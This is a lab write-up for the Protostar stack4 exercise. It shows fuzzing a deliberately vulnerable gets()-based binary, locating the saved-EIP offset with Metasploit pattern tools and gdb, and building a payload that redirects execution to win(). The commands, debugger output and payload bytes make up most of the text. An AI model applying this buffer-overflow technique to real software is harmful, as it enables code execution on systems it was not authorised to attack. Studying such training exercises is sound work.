We start off with understanding what is being asked of us:
About
Stack4 takes a look at overwriting saved EIP and standard buffer overflows.This level is at /opt/protostar/bin/stack4
Hints
- A variety of introductory papers into buffer overflows may help.
- gdb lets you do “run < input”
- EIP is not directly after the end of buffer, compiler padding can also increase the size.
Source code
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
We begin by SSH'ing into the system and navigate to /opt/protostar/bin/ and run stack4 to get a feel for what's going on:
$ ls $ cd /opt/protostar/bin/ $ ls final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7 final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6 $ ./stack4 aa $
We now begin fuzzing. I find a segmentation fault after 100 bytes of the letter "A":
$ python -c 'print "A" * 100' > /tmp/payload $ cat /tmp/payload AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ ./stack4 < /tmp/payload Segmentation fault $
Now that we have a seg fault, let's narrow it down by generating our string with Metasploits "pattern_create.rb":
eric@geoda:~/Documents/vulnhub/nebula/level08$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A eric@geoda:~/Documents/vulnhub/nebula/level08$
With our pattern created, we add it to our payload and run it through the debugger:
$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A" > /tmp/payload $ gdb -q ./stack4 Reading symbols from /opt/protostar/bin/stack4...done. (gdb) run < /tmp/payload Starting program: /opt/protostar/bin/stack4 < /tmp/payload Program received signal SIGSEGV, Segmentation fault. 0x63413563 in ?? () (gdb)
As we see, the segmentation fault occurred at 0x63413563. We take this value and add it to the other Metasploit script "pattern_offset.rb" :
eric@geoda:~/Documents/vulnhub/nebula/level08$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 63413563 [*] Exact match at offset 76 eric@geoda:~/Documents/vulnhub/nebula/level08$
Excellent. We are given the offset value of 76. To confirm, we create a payload with 76 "A"'s and 4 "B"s followed by a few C's afterward. We then run the binary through the debugger again:
$ python -c 'print "A" * 76 + "B" * 4 + "C" * 10' > /tmp/payload $ cat /tmp/payload AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCC $ gdb -q ./stack4 Reading symbols from /opt/protostar/bin/stack4...done. (gdb) run < /tmp/payload Starting program: /opt/protostar/bin/stack4 < /tmp/payload Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb)
As expected, our segmentation fault hits at our 4 "B"s which is represented in HEX as 0x42424242. For further information we run "i r" which will run "info registers" and show us that we have controlled EIP with our 0x42 values:
Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) i r eax 0xbffffc70 -1073742736 ecx 0xbffffc70 -1073742736 edx 0xb7fd9334 -1208118476 ebx 0xb7fd7ff4 -1208123404 esp 0xbffffcc0 0xbffffcc0 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x42424242 0x42424242 eflags 0x210246 [ PF ZF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
Perfect. Now let's go back to what we need to accomplish on this:
We need to get to win() again. Let's check where it may be located. We run x/s to examine win. We also run objdump to disassemble the entire binary and we grep for "win":
(gdb) x/s win 0x80483f4 <win>: "U\211\345\203\354\030\307\004$\340\204\004\b\350&\377\377\377\311\303U\211\345\203\344\360\203\354P\215D$\020\211\004$\350\357\376\377\377\311ÐU\211\345]Ít&" (gdb) quit A debugging session is active. Inferior 1 [process 1652] will be killed. Quit anyway? (y or n) y $ objdump -D ./stack4 | grep win 080483f4 <win>: $
Both show that the memory address is 0x080483f4. You may note that x/s in GDB only shows 7 digits. This is because it does not print any unnecessary values such as proceeding 0's.
We need to update our payload so that we can use EIP to point to the address for win:
$ python -c 'print "A" * 76 + "\xf4\x83\x04\x08"' > /tmp/payload $ gdb -q ./stack4 Reading symbols from /opt/protostar/bin/stack4...done. (gdb) run < /tmp/payload Starting program: /opt/protostar/bin/stack4 < /tmp/payload code flow successfully changed Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb)
Wewt! As expected, we have controlled EIP and allowed our message to print. We run it outside GDB to verify again:
$ python -c 'print "A" * 76 + "\xf4\x83\x04\x08"' > /tmp/payload $ ./stack4 < /tmp/payload code flow successfully changed Segmentation fault $
Success! We have successfully changed the code flow.
Thanks for reading!
-geoda